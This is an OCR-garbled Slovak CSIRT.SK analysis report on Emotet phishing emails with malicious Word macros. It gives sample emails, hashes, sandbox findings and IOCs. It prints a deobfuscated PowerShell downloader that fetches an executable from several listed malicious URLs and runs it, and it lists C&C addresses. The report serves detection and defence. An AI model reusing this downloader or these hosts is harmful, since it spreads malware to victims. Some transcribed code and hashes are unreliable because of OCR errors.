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Poucenie o narabani s informaciami:
Traffic Light Protokol (TLP)

Timy CSIRT sa pri komunikacii a vymene informacii riadia tzv. TLP (Traffic Light Protocol), ktory vyuziva
Styri farby na indikdaciu réznych stupnov citlivosti informdcii a primeranych spdsobov zdielania tychto
informAcii:

TLP: RED! — nezverejnitelné informacie, ku ktorym maju pristup len opravnené osoby a nemdzu byt
dalej Sirené. O tychto informaciach nie je povolené diskutovat v pritomnosti tretich osbb.

— informacie je mozné spristupnit len osobam participujicim na vymene informacii
a osobam v ramci organizacie, resp. konstituencie, a to na baze ,need to know"“. Toto oznacenie sa
pouziva pri vymene citlivych informacii, pri ktorych je potreba ich efektivheho zdielania medzi
oprdvnenymi adresatmi, existuje vSak riziko narusenia sukromia, reputacie alebo prevadzky v pripade
ich dniku.

TLP: GREEN? - informaécie, ktoré je mozné zdielat s ostatnymi organizaciami alebo osobami v ramci
SirSej komunity alebo sektora, nie je ich vSak vhodné Ssirit prostrednictvom verejne pristupnych
komunikacnych kanalov, ako napr. webova stranka.

TLP: WHITE? — informécie uréené pre verejnost, ktorych Sirenie nie je obmedzené. Pri ich pouZivani je
vsak potrebné respektovat autorské prava.

1 Zodpovedd klasifikatnému stupriu ,prisne chranené” pre oznacenie dovernosti informacného aktiva podla

prilohy ¢. 1 k vyhlaske ¢. 362/2018 Z. z.

Zodpovedd klasifikatnému stupiiu ,,chrdnené” pre oznacenie dovernosti informacného aktiva podla prilohy ¢. 1
k vyhlaske ¢. 362/2018 Z. z.

Zodpovedi klasifikatnému stupfiu ,interné” pre oznacenie dovernosti informacného aktiva podla prilohy ¢. 1 k
vyhlaske ¢. 362/2018 Z. z.

Zodpoveda klasifikatnému stupfiu ,verejné” pre oznacenie dovernosti informacného aktiva podla prilohy ¢. 1 k
vyhlaske ¢. 362/2018 Z. z.
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Manazérske zhrnutie

Cielom analyzy boli podozrivé emailové spravy obsahujuce prilohu vo formate .doc
pouzivanom programom Microsoft Word. Priloha obsahovala makrd, ktorych skodlivy kéd sa pokusil
pripojit na stranky spojené s bankovym malvérom Emotet a stiahnut z nich spustitelny subor. Sibor sa
v niektorych vzorkach nepodarilo stiahnut. Pravdepodobne bol uz malvér z danych adries odstraneny.
Iné vzorky kontaktovali aktivne adresy a malvér z nich bol stahovany.

Strucna analyza

Bolo zachytenych 5 emailov obsahujicich podozrivé prilohy s priponou .doc. Prilohy emailu
snazvami - Account_2020_09_8960863517.doc, PO# 09182020.doc, DOK_2020_09.doc,
BIC_17_09_2020_5516278900.doc, FILE_17_09_2020.doc boli vo formate MS Office Word, v ktorom
sa nachddzal obfuskovany VBA skript vloZzeny v makre. Ten nasledne spustil program PowerShell
s parametrom v hexadecimalnom tvare, ktory po pretransformovani do ASCIl znakov ukazal, ze sa v
rnom nachadzalo sedem webovych adries z ktorych sa skript pokusal stiahnut a ulozit skodlivy stbor.
Ten bol ukladany pod r6znymi ndzvami. Len u dvoch vzoriek (Vzorka ¢€.1, Vzorka €.4) sa tento Skodlivy
subor podarilo stiahnut, ostatné vzorky kontaktovali neaktivne adresy. Vo vzorkach, ktoré dspesne
stiahli Skodlivy subor bola zachytend rovnaka aktivita. V prvom kroku takyto spusteny subor vytvoril
novy proces, do ktorého sa sdm duplikoval. Nasledne prebehla komunikacia s riadiacim serverom. Tieto
Skodlivé procesy boli viacerymi antivirusovymi rieSeniami oznacené ako malvér Emotet.
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Podrobna analyza

1. Emaily obsahujuce skodlivu prilohu

Boli zachytené viaceré emaily obsahujuce Skodlivé prilohy. Tie mali podobné atribdty a vykonavali
rovnaky Skodlivy kod.

Vzorka ¢. 1:

V Pondelok, 21.9.2020, 9:22 +0200 (CEST) bol zachyteny email s nasledujicimi atribatmi:
Predmet: [WARNING: MESSAGE ENCRYPTED]Re: RO- extension of flight ban

Odosielatel: Cristina MORTU <ito@ultrastudio.biz>

Priloha: Account_21 09 2020.zip

V .zip archivnom subore sa nachadzal sibor s nazvom Account_2020_09 8960863517.doc. Na zaklade
MD5 hashu (7e416efcd2b5add9d528a4a2bb236f21) prilohy bolo pomocou sluzby VirusTotal zistené,
Ze tato priloha obsahuje Skodlivy kéd. Tento subor vo formate MS Word Document bol na portal
VirusTotal pridany v rovnakom datume ako bol doru¢eny email. V ¢ase pisania reportu ho oznacilo ako
Skodlivy 43/62 antivirovych rieseni.
https://www.virustotal.com/gui/file/d2296173b7e22bele539bda66456d0406f0bf271828ala21dffab
4f785b8b948/detection

Vzorka ¢€.2:

V Piatok, 18.9.2020, 10:15:21 +0200 (CEST) bol zachyteny email s nasledujucimi atributmi:
Predmet: [WARNING: MESSAGE ENCRYPTED]Mauritius - Evacuation of European Citizens
Odosielatel: GOLABEK Michal (EEAS-PORT LOUIS) <acalidad@cacosa.net>

Priloha: PO# 09182020.doc

Pomocou MD5 hashu prilohy (5f73a7ea27d20cfec9aal5956b3e4a29) bolo prostrednictvom portalu
VirusTotal zistené, Ze tato priloha obsahuje skodlivy kéd. Tento suibor vo formate Microsoft Office
Word bol prvykrat pridany na VirusTotal 2 dni po tom, ako bol prijaty email - 20.9.2020. V Case pisania
reportu, 36/58 antivirovych programov oznacilo tento subor ako Skodlivy. Vo virtudlnom stroji ju
Microsoft Defender detegoval ako TrojanDownloader:097M/Emotet.CSK!MTB.
https://www.virustotal.com/gui/file/2caff98c8b43be20b11fca6020c964fc799a6a67943b917ef7ed55
7c458a78ed/detection

Vzorka ¢.3

V Piatok, 18.9.2020, 08:58:22 +0200 (CEST) bol zachyteny email s nasledujucimi atribitmi:
Predmet: [WARNING: MESSAGE ENCRYPTED]Aw: Attaches trip: problems in booking
Odosielatel: Cristina MORTU <gerardo.avella@bureauveritasnla.com>

Priloha: DOK_2020_09.doc

Pomocou MD5 hashu prilohy (926d78e0c223c6644d65dfbabbb5665b) bolo pomocou portalu
VirusTotal zistené, Ze tato priloha obsahuje Skodlivy kéd. Tento subor vo formate Microsoft Office
Word bol prvykrat pridany na VirusTotal defi po tom,ako bol prijaty email - 19.9.2020. V case pisania
reportu, 38 z 59 antivirovych programov oznacilo tento subor ako skodlivy. Vo virtudlnom stroji ju
Microsoft Defender detegoval ako TrojanDownloader:097M/Emotet.CSKIMTB.
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https://www.virustotal.com/gui/file/94e3dd0aaab62b5b283627d2d19f021f3e51a815ce489288eb7b
29509ce79604/detection

Vzorka ¢.4:

Vo Stvrtok, 17.9.2020 20:19:16 +0200 (CEST) bol zachyteny email s nasledujicimi atribGtmi:
Predmet: [WARNING: MESSAGE ENCRYPTED][SPAM] Re: notification of extension of flight suspension
Odosielatel” Cristina MORTU <ansa.t@thomastyres.co.za>

Priloha: BIC_17_09_2020_5516278900.doc

Pomocou MD5 hashu prilohy (f038a77f1307fcffb8f175a73b8acd8f) bolo prostrednictvom portalu
VirusTotal zistené, Ze tato priloha obsahuje skodlivy kéd. Tento subor vo formate Microsoft Office
Word bol prvykrat pridany na VirusTotal 2 dni po tom, ako bol prijaty email - 19.9.2020. V ¢ase pisania
reportu, 39 z 58 antivirovych programov oznacilo tento subor ako Skodlivy.
https://www.virustotal.com/gui/file/9de91f69583b1765c182e6952a78af003dd26df75c249ca6c8091
fa96fbc5fed/detection

Vzorka ¢€.5:

Vo Stvrtok, 17.9.2020, 11:54:49 +0200 (CEST) bol zachyteny email s nasledujdcimi atribatmi:
Predmet: [WARNING: MESSAGE ENCRYPTED]Aw: Mauritius - Evacuation of European Citizens
Odosielatel: GOLABEK Michal (EEAS-PORT LOUIS) <info@rightacademics.co.uk >

Priloha: FILE_17_09 2020.doc

Pomocou MD5 hashu prilohy (a675fcda7326c1c768abe4f410c80144) bolo prostrednictvom portalu
VirusTotal zistené, Ze tato priloha obsahuje Skodlivy kéd. Tento subor vo formate Microsoft Office
Word bol prvykrat pridany na VirusTotal deri po tom, ako bol prijaty email - 18.9.2020. V ¢ase pisania
reportu, 39 z 59 antivirovych programov oznacilo tento subor ako Skodlivy. Vo virtudlnom stroji ju
Microsoft Defender detegoval ako TrojanDownloader:097M/Emotet.CSK!MTB.
https://www.virustotal.com/gui/file/52a2af7330c0229f576c751e8cc032dd737c9eb0f71f956f71a0d7
48b168abbc/detection

2. Skodlivé makra
Pomocou nastroja oledump bola zistend Struktira suborov. Na nasledujucich
obrazkoch je mozné vidiet, Ze sa v tychto siboroch nachadzali makra (oznacené M).

114 '"\x01CompObj'
352 "\ x@5DocumentSummaryInformation|
416 '\x05SummaryInformation’
7035 '1Table'
123889 'Data’
97 'Macros/NBpi3wcmvz9/\x01CompObj

114 '\x81CompObj'
352 '\x05DocumentSummaryInformation’
420 '\x@5SummaryInformation’

7035 '1Table’

94300 'Data’

97 'Macros/07w9kig31cvk3ge@2mj/\x0@1Compobj’
295 'Macros/N8pi3wcmvz9/\x03VBFrame 302 'Macros,/07w9kiq31cvk3g@2mj/\x03VBFrame'
434 'Macros /N8pi3wcmvz9/f' 434 'Macros/07w9kiq31lcvk3g@2mj/f’

508 'Macros/N8pi3wcmvz9/o’ : 508 'Macros/07wSkiq31cvk3gezmj/o’
525 'Macros/PROJECT' 10: 533 'Macros/PROJECT'

92 'Macros/PROJECTwm' 11: 104 'Macros/PROJECTwWMm'
: M 27390 'Macros/VBA/N8pi3wcmvz9' 12: 1663 'Macros/VBA/Cgra97u@vvglsj’
: M 1696 'Macros/VBA/Wxbpnm_dbxxzkcw3k' | 13: 29114 'Macros/VBA/07w9kig31lcvk3gozmj’
18307 'Macros/VBA/_VBA_PROJECT' 14: 7702 'Macros/VBA/_ VBA_PROJECT'
1541 'Macros/VBA/__SRP_0' 15: 1541 'Macros/VBA/_SRP_ @'

106 'Macros/VBA/__ SRP_1' 16: 106 'Macros/VBA/__S

304 'Macros/VBA/__SRP_2' 17: 304 'Macros/VBA/__SRP_

103 'Macros/VBA/__SRP_3' 18: 103 'Macros/VBA/__SRP_3'

863 'Macros/VBA/dir' 19: 875 'Macros/VBA/dir'
4096 'WordDocument’ g 4096 'WordDocument'
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Pri vSetkych analyzovanych vzorkach sa vyskytovala rovnaka struktdra MS Office suborov. Rozdiel bol
iba v ndzvoch makier.

Tieto Skodlivé makra spustali PowerShell kdd, ktory bol zakédovany pomocou Base64 algoritmu a bol
dalej obfuskovany retazcom WTF2, ktory sa opakoval po kazdom pismene. V rozlicnych vzorkach sa
makra |isili iba URL adresami, z ktorych sa mal stiahnut malvér. Po odkddovani bolo potrebné tento
kod deobfuskovat. Po Ciasto¢nej deobfuskacii bolo zistené, Zze jedno z makier slizilo na nacitanie
suboru prilohy, a druhé spustalo systém WMI s argumentom ziskanym z prilohy.

&('new-"+'item"') $ENv:UserProfile\Poho327\TuQ BWI\ -itemtype directory;
[NetServicePointManager]::"SecurityProtocol” = tl1s12,tls11,tls;
$path=$env:UserProfile+('\Poho327\Tugq _bwi\Ojqot28t.exe");
$newNetWebClient=&( 'new-object') netwebclient;
$addresses=(
http://ora-ks.com/system/cache/MF1h
http://megasolucoesti.com/R9KDqO08w/s3/
http://buyparrotsaustralia.com/4318z/q/
https://dubai-homes.ae/wp-admin/4v/
http://adventureitdate.com/wp-admin/7/
http://blog.zunapro.com/wp-admin/GoSV/
https://fepami.com/wp-includes/h/
)
foreach($a in $addressses){

try{$newNetWebClient. "downloadfile" ($a, $path);

If ((('Get-Item') $path)"Length" -ge 27381) {

("Invoke-Item')($path);

break;
}
}
catch{}
}

Tento kdd pochdadza zo Vzorky €.1. Ostatné vzorky sa liSili iba cestami, kam sa mal uloZit $kodlivy subor
(ndhodné retazce) a URL adresami. Rozdielnosti st vyznacené modrym pismom .

Cielom PowerShell skriptu bolo pripojit sa na adresy, ktoré obsahuje, a stiahnut z nich spustitelny
subor, ktory sa uklada do priecinkov. Tieto mali ako nazov rozdielne ndhodné retazce. Rovnako nazov
stiahnutého skodlivého stboru bol ndhodny retazec.

Vsetky URL adresy su uvedené v prilohe.

TILPg Whﬁﬁ@ Strana 6z 18



MINISTERSTVO
INVESTICI], REGIONALNEHO ROZVOJA ( A CS' RT S K
A INFORMATIZACIE .

SLOVENSKE| REPUBLIKY

3. Behavioralna analyza vzoriek

Vzorka ¢.1

T4ato vzorka bola analyzovand 3x pomocou sluzby Any.run v r6znych ¢asoch. Bolo spozorované mierne
odlisné spravanie pri kazdom spusteni programu.

21.09.2020, 12:16 - https://app.any.run/tasks/babced52-b504-4551-9a66-68b57130be5c/
23.09.2020, 08:26 - https://app.any.run/tasks/8f76c58f-a40b-4f51-aa27-80d04617c32a/

23.09.2020, 12:15 - https://app.any.run/tasks/399f7bdc-da9c-4a9d-a964-14463da87a6b/

Skodlivy subor bol stiahnuty z dvoch réznych adries:

e http://ora-ks.com/system/cache/MF1h/

e http://megasolucoesti.com/RIKDqOO8wW/s3/
a bol ulozeny do adresara C:\Users\admin\Poho327\Tuqg_bwi pod ndzvom Ojqot28t.exe. Nasledne bol
automaticky spusteny. Proces Ojqot28t.exe vytvaral procesy s réznymi nazvami:

e cmdial32.exe

e redir.exe

e dsuiext.exe,
z ktorych sa sam spustal. Tie boli sluzbou VirusTotal a Any.run vyhodnotené ako malvér Emotet.
https://app.any.run/tasks/8f76c58f-a40b-4f51-aa27-80d04617c32a/#

https://www.virustotal.com/gui/file/3af48bd84efe72d4518091a846f6b9391ecabb0eaed1f915156bff
559ac32006/detection

Okrem statickej analyzy bola vykonana aj behaviordlna analyza. Z analyzy bolo zistené, Ze subor
pristupuje k nasledovnym artefaktom:

Zapis do registrov:

Podkluce v registri:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\5.0\Cache\

Klaé:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Connectio
ns\SavedLegacySettings

Hodnota: m32\MSIMG32.dI

Spojenia: Na vzdialeny server bol posielany HTTP POST s obsahom, ktory bol pravdepodobne Sifrovany.
Emotet odosielal informdcie o infikovanom systéme na riadiace servery v sekcii ,,data” poZiadaviek
HTTP POST a ako odpoved pravdepodobne prijimal dalSie prikazy a uZito¢né data zo serverov. Adresy
riadiacich serverov boli nasledovné:

o http://71.72.196.159/P1LPOLOqB4mD/ZLSui/ETyHo/

e http://67.10.155.92/kNfQliWadC/.

e http://67.10.155.92/RIBM866qEaT/MxjXxQiejiVAUeEv/Jake2EDEiZaM/ES8A6b/
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Vzorka ¢.2

T4ato vzorka bola analyzovand 2x pomocou sluzby Any.run v ré6znych ¢asoch. Bolo spozorované mierne
odliSné spravanie pri kazdom spusteni programu.

23.09.2020, 08:50 - https://app.any.run/tasks/e245aed4-f00d-4584-9a9e-907b914c23fb/
24.09.2020, 13:43 - https://app.any.run/tasks/cd0e8dd9-83b4-44ea-b993-2e0d032669ec/

V pripade prvého spustenia vsandboxe sluzby Any.run boli aktivne len dve stranky:
http://cryptokuota.com/assets/M2ngTr)/ a https://pinterusmedia.com/wp-admin/YX/. Z prehladu
internetovej komunikdcie vidno, Ze tdto vzorka sa pripdjala na adresy 94.237.78.68 (cryptokuota.com)
a 178.128.105.98 (pinterusmedia.com) aj cez TLS/SSL, ale nestahovala Ziaden subor. Obe stranky podla
sluzby VirusTotal obsahovali malvér. Napriek tomu, Ze stranky boli aktivne, spustitelny sibor sa z nich
nestiahol — pravdepodobne bol uZ odstraneny.

V pripade druhého spustenia v sandboxe bolo vytvorenych uz 8 spojeni. Prvé dve adresy boli zhodné
s analyzou z predoslého dna, avsak 24.9.2020 uz bolo aktivnych viacero adries. Proces malvéru sa
pripajal aj na https://aszcasino.com/aszdemo/DRloh/ a https://dubai-homes.ae/wp-admin/YBJR3M/,

https://whitdoit.tk/ljiy53n/xxE/. Z prehladu internetovej komunikacie bolo zistené, Zze sa na prenos
informdcii medzi riadiacim serverom a infikovanym zariadenim vyuzival protokol HTTPS, takZe nebolo
je mozné odsifrovat data a zistit, ¢o bolo prijaté na zariadenie. Z adresy 49.0.66.103 (aszcasino.com)
bolo prijatych 68.5 Kb dat a z 104.27.130.189 (dubai-homes.ae) bolo prijatych 12.1 Kb dat. Na adresu
35.247.142.227 (whitdoit.tk) sa zariadenie pripdjalo 2 krat, z toho ani raz nestiahlo data.

Okrem statickej analyzy bola vykonana aj behaviordlna analyza. Z nej bolo zistené, Ze subor vytvéral
nasledujuce artefakty:

Subory (zapis):
C:\Users\admin\AppData\Roaming\Microsoft\Templates\~SNormal.dotm
C:\Users\admin\ligghqp\W6jsxef\N70wm26e.exe

C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f41185
1d7¢929.customDestinations-ms~RFee22e.TMP

C:\Users\admin\AppData\Local\Temp\CVRD359.tmp.cvr
C:\Users\admin\AppData\Local\Temp\~S# 09182020.doc

Registre:

Subor pristupoval a menil mnohé registre. Niekolko hodno6t referovalo na subory ku ktorym

pristupoval. Tie boli ulozené v registri
HKEY CURRENT _USER\Software\Microsoft\Office\14.0\Word\Resiliency\Startupltems

ktory slizZi na to, aby sa moduly programu Word nacitali pri kazdom zapnuti.

Kluce referovali na nasledujuice subory:
C:\Users\admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
c:\progra~1\micros~1\office14\genko.dll
c:\users\admin\appdata\local\temp\po# 09182020.doc

Pre kazdy zo suborov existovalo velké mnoZstvo klucov, a kazda hodnota zacinala nazvom klica, ale
zvys$na Cast hodnot bola rovnaka.
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Vzorka ¢.3

Tento subor spustal identicky PowerShell prikaz ako vzorka ¢.2. Rovnako sa nestiahol Ziaden subor,
pretoZe dané adresy uz boli neaktivne.
https://app.any.run/tasks/b324403b-3e22-4fe6-b295-06a0613142e9/

Vzorka ¢.4

Tato vzorka bola v sluzbe Any.run analyzovand 2x v roézne dni. Bolo spozorované mierne odlisné
spravanie pri kazdom spusteni programu.

18.09.2020, 12:16 - https://app.any.run/tasks/c83e673e-4c47-45e3-bf2e-d59945bb4d40/
25.09.2020, 09:01 - https://app.any.run/tasks/471a2241-0b6f-4c34-8758-8dcef5b8fb79/

V pripade prvého spustenia sa skodlivy subor stiahol zadresy http://rhyton-building.com/wp-
admin/Ey8qV0/. Ten sa uloZil do adresara C:\Users\admin\Uofwsuv\Lnxyn6_\ pod ndazvom
Mijlzifmu.exe.  Nasledne bol wvytvoreny proces s ndzvom  bdesvc.exe s lokdciou
C:\Users\admin\AppData\Local\msjetoledb40\, z ktorého sa sdm spustal.

Pri druhom spusteni bola zachytend komunikdacia na adresy 171.22.26.120 (rhyton-building.com) a
23.224.135.235 (ezzll.com). Pri spusteni v sandboxe Any.run sa skript pripojil najprv ku stranke
http://rhyton-building.com/wp-admin/Ey8qV0/ ale vrétila sa HTTP odpoved 404 Not Found. Z adresy
http://ezzll.com/wp-includes/KIU2WUY/ sa stiahol spustitelny sibor. Ten sa rovnako uloZil do adresara
C:\Users\admin\Uofwsuv\Lnxyn6_\ pod nazvom Mijizifmu.exe. Nasledne vytvaral proces s ndzvom
wiascanprofiles.exe v lokacii C:\Users\admin\AppData\Local\sspicli\, z ktorého sa sam spustal. Sluzby
VirusTotal a Any.run vyhodnotili tento proces ako malvér Emotet.
https://www.virustotal.com/gui/file/ddf06e4e7f5782f4968717f85329a42baledfe2f1dc3ac2032f143
db82b0345f/detection

https://app.any.run/tasks/471a2241-0b6f-4c34-8758-8dcef5b8fb79/

Pomocou nastroja peframe bolo zistené, Ze tento sibor ma ochranu proti debugovaniu — kontroloval
pritomnost debuggera. Preto bola na dynamickl analyzu pouZita sluzba Any.run.

Behavioralnou analyzou sme zistili Ze proces pristupuje k nasledujucim podozrivym mutexom:

Subory (Citanie):
C:\Users\admin\AppData\Local\Microsoft\Windows\Caches\cversions.1.db — cache

C:\Users\admin\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-
C647E37CAODSY}.1.ver0x000000000000001f.db — cache

Registre:
Podkluce v registri
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\internet
Settings\5.0\Cache\
Klac:
HKEY_CURRENT _USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Connectio
ns\SavedLegacySettings
Hodnota: m32\MSIMG32.dI
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Spojenia: 71.72.196.159 a 134.209.36.254. V oboch pripadoch sa posiela na vzdialeny server
hexadecimadlny obsah ktory je pravdepodobne dalej Sifrovany.

Vzorka ¢€.5
Tato vzorka posielala GET request na http://77yxx.com/b5rh/bZxS/ ale nedostala Ziadnu odpoved.
https://app.any.run/tasks/558d6051-bffe-428f-95a6-19a8e5bc55b6/

Prilohy, ktorych makra obsahovali rovnaky kéd a rovnaky PowerShell skript boli zaznamenané na
sluzbach poskytujucich dynamicku analyzu malvéru v rovnaky den, ako bol poslany mail. Tieto analyzy
(https://tria.ge/200918-m7Idce5vdx/behaviorall,
https://www.joesandbox.com/analysis/287660/0/html,
https://www.joesandbox.com/analysis/287382/0/html

https://tria.ge/200917-7h3ntlt63a) ukazali, Ze skript stiahol malvér Emotet.

4. Indicators of Compromise (10C)

Hashe MD5:

7e416efcd2b5add9d528a4a2bb236f21 (Account_2020_09_8960863517.doc)
5f73a7ea27d20cfec9aal5956b3e4a29 (PO# 09182020.doc)
926d78e0c223c6644d65dfbabbb5665b (DOK_2020_09.doc)
f038a77f1307fcffb8f175a73b8acd8f (BIC_17_09 2020_5516278900.doc)
a675fcda7326c1c768abe4f410c80144 (FILE_17_09_2020.doc)

Download:

IP: 85.25.34.75 URL: http://ora-ks.com/system/cache/MF1h

IP: 177.185.196.31 URL: http://megasolucoesti.com/R9KDg008w/s3/
IP: 94.237.78.68 URL: http://cryptokuota.com/assets/M2ngTrl)/

IP: 178.128.105.98 URL: https://pinterusmedia.com/wp-admin/YX/
IP: 49.0.66.103 URL: https://aszcasino.com/aszdemo/DRloh/

IP: 104.27.130.189 URL: https://dubai-homes.ae/wp-admin/YBJR3M/
IP: 35.247.142.227 URL: https://whitdoit.tk/ljiy53n/xxE/

IP: 171.22.26.120 URL: http://rhyton-building.com/wp-admin/Ey8qV0/
IP: 23.224.135.235 URL: http://ezzll.com/wp-includes/KIU2WU/

Neaktivne v ¢ase analyzy:
e http://buyparrotsaustralia.com/4318z/q/
e https://dubai-homes.ae/wp-admin/4v/
e http://adventureitdate.com/wp-admin/7/
e http://blog.zunapro.com/wp-admin/GoSV/
e https://fepami.com/wp-includes/h/
e http://4life.com.vn/wp-admin/R/
e http://baran-business.de/wp-content/pMr/
e http://tellmetech.com/wp-content/4ka/
e https://elmundodelareposteria.com/wp-admin/OPVVmJm/
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e https://manuelrozas.cl/assets/XWN/

e https://haritdharni.com/wp-admin/bZM/

e https://theworks-group.com/site/pQT6j5/

e http://77yxx.com/b5rh/bZxS/

e http://shahramookht.com/t1k12k7t/8jq/

e http://www.aciitaly.com/adminer-master/gkl/
e https://codelta.es/images/9S35FR/

e https://burstoutloud.com/PPL/Hf/

e https://targetin.com/Silder-1/nakK/

e http://dbestfishing.com.sg/67s/wfe/

C&C:

1P:71.72.196.159 URL: http://71.72.196.159/P1LPOLOgB4mD/ZLSui/ETyHo/

IP:67.10.155.92 URL: http://67.10.155.92/kNfQliwadC/
URL: http://67.10.155.92/RI8M866gEaT/MxjXxQiejiVAUeEv/
Jake2EDEiZaM/E8A6b/

IP: 71.72.196.159 URL: http://71.72.196.159/xrYotzMI7pvFD/kI5L/

IP: 134.209.36.254 URL: http://134.209.36.254:8080/sYSL/smCZntGLLXT7sYHfO/
RjQydign/

Niektoré ztychto adries sa nachddzali na nasledujicom zozname ktory obsahuje Emotet I0Cs:
https://pastebin.com/CgKzgf4F

6. Odportcania

Nasledujice preventivne opatrenia umoZnuju predchadzat rovnakému druhu Gtoku ajemu
podobnym:
o Neotvarat a nestahovat nezname prilohy s podozrivym nazvom v emailoch, neklikat na odkazy
v mailoch od neznamych odosielatefov — viac informacii v prirucke ,Phishingové emaily —
rozpoznanie a obrana“ (https://www.csirt.gov.sk/doc/Maily.pdf).
e Zakazat makra v Microsoft Office aplikaciach (Subor -> MoZnosti -> Centrum déveryhodnosti -
> Nastavenie centra déveryhodnosti -> Nastavenie makra -> Zakdzat vsetky makrd s
ozndmenim).

7.Zaver

Malvér Emotet sa v minulosti objavil uz v rokoch 2018 a 2019. V juli tohto roku sa znovu zacal
objavovat v emailovych schrankach. Emotet sa nesustredi na konkrétnych pouZivatelov, ale cielové
emailové adresy ziskava pravdepodobne aktivnym vyhladdvanim emailovych zoznamov na internete.
Malvér presiel znaénym vyvojom od jeho prvej vzorky a v novych verzidch podvodného emailu uz
vyuziva aj personalizované spravy obsahujlce napriklad mena ¢i ndzvy spoloc¢nosti. Stava sa preto o to
vacSou hrozbou. Podvodné emailové spravy obsahovali texty v roznych jazykoch, preto jedinym
spbsobom ako ho rozpoznat je analyza prilohy, ktord zabezpeduje jeho stiahnutie do hostitel'ského
systému.
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C) CSIRT.SK

Priloha - Udaje o stiboroch — EXIF

1. Account_2020_09_8960863517.doc

Nazov suboru

Account_2020_09 8960863517.doc

Velkost suboru

204 377 8B

Typ suboru Microsoft Word 97-2003 Document

MD5 7e416efcd2b5add9d528a4a2bb236f21

SHA-1 9al112a468a3b2e70352876a666779038916dal72

SHA-256 d2296173b7e22bele539bda66456d0406f0bf271828a1a21dffa64f785b8b948
SSDeep 3072:Vqg22TWTogk079THcpOu5UZmpfRVAKpDRD:d/TX07hHcIQC1D

P6vod vzorky

Priloha podozrivej emailovej spravy

Sp6sob analyzy

Staticka, behavioralna

Postihnuté systémy

0OS Windows

Detekcia antivirmi

43/62 VirusTotal, timestamp 2020-09-21 07:29:29 UTC

ESET-NOD32 VBA/TrojanDownloader.Agent.UJV
Kaspersky HEUR:Trojan.MSOffice.SAgent.gen
Microsoft TrojanDownloader:097M/Emotet.CSKIMTB
Symantec W97M.Downloader

File Type DOC
FileTypeExtension doc

MIME Type application/msword
File Size 200 kB

Creator Mathis Pons

Modify Date 2020:09:21 06:43:00

TLR: Wihite
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Ojgot28t.exe

Nazov siboru

Ojgot28t.exe

Velkost siboru

172032 B

Typ siboru PE32 executable for MS Windows (GUI) Intel 80386 32-bit

MD5 c8568b7aa6f55e1ef22e82bf5e08fe6e

SHA-1 8274cbb971b48fbf0d1b597df9d09dc137a60aba

SHA-256 3af48bd84efe72d4518091a846f6b9391ecabbOeae41f915156bff559ac32006
SSDeep 3072:Nqwk57xDIHIMQLkWbL8hNNGTg8HrmyNFJ/ogulpMQWqNgL4xuE

Qsxq:87fIMwbAhNz8LbowQWqi6L.Q

P6vod vzorky

Stibor stiahnuty Powershell skriptom

Sposob analyzy

Statick4, behavioralna

Postihnuté systémy

OS Windows

Detekcia antivirmi

54/71 VirusTotal, timestamp 2020-09-25 12:05:31 UTC

ESET-NOD32 Win32/Emotet.CB

Kaspersky HEUR:Trojan-Banker.Win32.Emotet.pef

Microsoft Trojan:Win32/Emotet. ARJIMTB

Symantec ML.Attribute.HighConfidence

File Type Win32 EXE
FileTypeExtension exe

MIME Type application/octet-stream
PE Type PE32

File Size 168 KB

Packer Microsoft Visual C++ v7.0
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2. PO# 09182020.doc

Nazov suboru

PO# 09182020.doc

Velkost suboru

166 839 B

Typ suboru Microsoft Word 97-2003 Document

MD5 5f73a7ea27d20cfec9aal5956b3e4a29

SHA-1 c7b3c7ddba669c774b527770db0665556f69f5aa

SHA-256 2caff98c8b43be20b11fca6020c964fc799a6a67943b917ef7ed557c458a78ed
SSDeep 1536:T5a/aNrdillr77z0H98Wj2gpngR+a9tVZVDEUEfBzoInGQ:T/rfrzOH98ipg

xK5JzoCGQ

P6vod vzorky

Priloha podozrivej emailovej spravy

Spbsob analyzy

Staticka, behavioralna

Postihnuté systémy

0OS Windows

Detekcia antivirmi

36/58 VirusTotal, timestamp 2020-09-20 07:56:35 UTC

ESET-NOD32 VBA/TrojanDownloader.Agent.UFY
Kaspersky HEUR:Trojan.MSOffice.SAgent.gen
Microsoft TrojanDownloader:097M/Emotet.CSKIMTB
Symantec Trojan.Gen.2

File Type DOC
FileTypeExtension doc

MIME Type application/msword
File Size 163 kB

Creator Paul Fleury

Modify Date 2020:09:18 04:35:00
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3. DOK_2020_09.doc

Nazov suboru

DOK_2020_09.doc

Velkost suboru

1656418

Typ suboru Microsoft Word 97-2003 Document

MD5 926d78e0c223c6644d65dfbabbb5665b

SHA-1 39a81cfc6df8fbe86510d360b503d1dc8dbb0Ob4e

SHA-256 94e3dd0aaab62b5b283627d2d19f021f3e51a815ce489288eb7ba9509ce79604
SSDeep 1536:T5a/aNrdillr77z0H98Wj2gpngR+a9bVZVDEUEfBzol1GQ:T/rfrzOH98ipgH

K5JzoAGQ

P6vod vzorky

Priloha podozrivej emailovej spravy

Sp6sob analyzy

Staticka, behavioralna

Postihnuté systémy

0OS Windows

Detekcia antivirmi

38/59 VirusTotal, timestamp 2020-09-19 10:08:29 UTC

ESET-NOD32 VBA/TrojanDownloader.Agent.UFY
Kaspersky HEUR:Trojan.MSOffice.SAgent.gen
Microsoft TrojanDownloader:097M/Emotet.CSKIMTB
Symantec Trojan.Gen.NPE

File Type DOC
FileTypeExtension doc

MIME Type application/msword
File Size 162 kB

Creator Enzo Garnier
Modify Date 2020:09:18 04:35:00

TLR: Wihite
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4. BIC_17_09_2020_5516278900.doc

Nazov suboru

BIC_17_09_2020_5516278900.doc

Velkost suboru

175 806 B

Typ suboru Microsoft Word 97-2003 Document

MD5 f038a77f1307fcffb8f175a73b8acd8f

SHA-1 f9544b1ba5526fdfdd0d8913989a8e20a813ad82

SHA-256 9de91f69583b1765c182e6952a78af003dd26df75¢249ca6c8091fa96fbc5fed
SSDeep 1536:erdillr77z0H98Wj2gpngR+a90tx08nq78ct2PU7MXKSSxH5pcKalne7y

2l:erfrzOH98ipgLkBe7N

P6vod vzorky

Priloha podozrivej emailovej spravy

Spbsob analyzy

Staticka, behavioralna

Postihnuté systémy

0OS Windows

Detekcia antivirmi

